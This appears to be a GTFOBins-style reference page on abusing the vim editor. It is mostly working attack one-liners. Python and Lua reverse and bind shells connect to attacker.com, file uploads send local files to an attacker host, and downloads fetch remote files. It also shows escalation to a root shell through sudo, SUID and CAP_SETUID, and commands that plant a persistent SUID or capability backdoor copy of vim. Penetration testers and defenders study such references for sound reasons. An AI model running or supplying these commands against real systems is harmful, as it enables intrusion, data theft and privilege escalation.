.. / vim
Star

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
vim -c ':!/bin/sh'
```
```
vim
:set shell=/bin/sh
:shell
```
This requires that vim is compiled with Python support. Prepend :py3 for Python 3.
```
vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
```
This requires that vim is compiled with Lua support.
```
vim -c ':lua os.execute("reset; exec sh")'
```

Reverse shell

It can send back a reverse shell to a listening attacker to open a remote network access.

This requires that vim is compiled with Python support. Prepend :py3 for Python 3. Run socat file:`tty`,raw,echo=0 tcp-listen:12345 on the attacker box to receive the shell.

export RHOST=attacker.com
export RPORT=12345
vim -c ':py import vim,sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
vim.command(":q!")'

Non-interactive reverse shell

It can send back a non-interactive reverse shell to a listening attacker to open a remote network access.

Run nc -l -p 12345 on the attacker box to receive the shell. This requires that vim is compiled with Lua support and that lua-socket is installed.

export RHOST=attacker.com
export RPORT=12345
vim -c ':lua local s=require("socket"); local t=assert(s.tcp());
  t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
  while true do
    local r,x=t:receive();local f=assert(io.popen(r,"r"));
    local b=assert(f:read("*a"));t:send(b);
  end;
  f:close();t:close();'

Non-interactive bind shell

It can bind a non-interactive shell to a local port to allow remote network access.

Run nc target.com 12345 on the attacker box to connect to the shell. This requires that vim is compiled with Lua support and that lua-socket is installed.

export LPORT=12345
vim -c ':lua local k=require("socket");
  local s=assert(k.bind("*",os.getenv("LPORT")));
  local c=s:accept();
  while true do
    local r,x=c:receive();local f=assert(io.popen(r,"r"));
    local b=assert(f:read("*a"));c:send(b);
  end;c:close();f:close();'

File upload

It can exfiltrate files on the network.

This requires that vim is compiled with Python support. Prepend :py3 for Python 3. Send local file via “d” parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.

export URL=http://attacker.com/
export LFILE=file_to_send
vim -c ':py import vim,sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))
vim.command(":q!")'

This requires that vim is compiled with Python support. Prepend :py3 for Python 3. Serve files in the local folder running an HTTP server.

export LPORT=8888
vim -c ':py import vim,sys; from os import environ as e
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()
vim.command(":q!")'

Send a file to a TCP port. Run nc -l -p 12345 > "file_to_save" on the attacker box to collect the file. This requires that vim is compiled with Lua support and that lua-socket is installed.

export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_send
vim -c ':lua local f=io.open(os.getenv("LFILE"), 'rb')
  local d=f:read("*a")
  io.close(f);
  local s=require("socket");
  local t=assert(s.tcp());
  t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
  t:send(d);
  t:close();'

File download

It can download remote files.

This requires that vim is compiled with Python support. Prepend :py3 for Python 3. Fetch a remote file via HTTP GET request.

export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
vim -c ':py import vim,sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])
vim.command(":q!")'

Fetch remote file sent to a local TCP port. Run nc target.com 12345 < "file_to_send" on the attacker box to send the file. This requires that vim is compiled with Lua support and that lua-socket is installed.

export LPORT=12345
export LFILE=file_to_save
vim -c ':lua local k=require("socket");
  local s=assert(k.bind("*",os.getenv("LPORT")));
  local c=s:accept();
  local d,x=c:receive("*a");
  c:close();
  local f=io.open(os.getenv("LFILE"), "wb");
  f:write(d);
  io.close(f);'

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

```
vim file_to_write
iDATA
^[
w
```

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

```
vim file_to_read
```

Library load

It loads shared libraries that may be used to run code in the binary execution context.

This requires that vim is compiled with Python support. Prepend :py3 for Python 3.

vim -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary("lib.so"); vim.command(":q!")'

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

This requires that vim is compiled with Python support. Prepend :py3 for Python 3.

sudo sh -c 'cp $(which vim) .; chmod +s ./vim'

./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

```
sudo vim -c ':!/bin/sh'
```

This requires that vim is compiled with Python support. Prepend :py3 for Python 3.

sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

This requires that vim is compiled with Lua support.
```
sudo vim -c ':lua os.execute("reset; exec sh")'
```

Capabilities

It can manipulate its process UID and can be used on Linux as a backdoor to maintain elevated privileges with the CAP_SETUID capability set. This also works when executed by another binary with the capability set.

This requires that vim is compiled with Python support. Prepend :py3 for Python 3.

cp $(which vim) .
sudo setcap cap_setuid+ep vim

./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

Limited SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands it only works on systems like Debian that allow the default sh shell to run with SUID privileges.

This requires that vim is compiled with Lua support.

sudo sh -c 'cp $(which vim) .; chmod +s ./vim'

./vim -c ':lua os.execute("reset; exec sh")'

.. / vim Star

Shell

Reverse shell

Non-interactive reverse shell

Non-interactive bind shell

File upload

File download

File write

File read

Library load

SUID

Sudo

Capabilities

Limited SUID

.. / vim
Star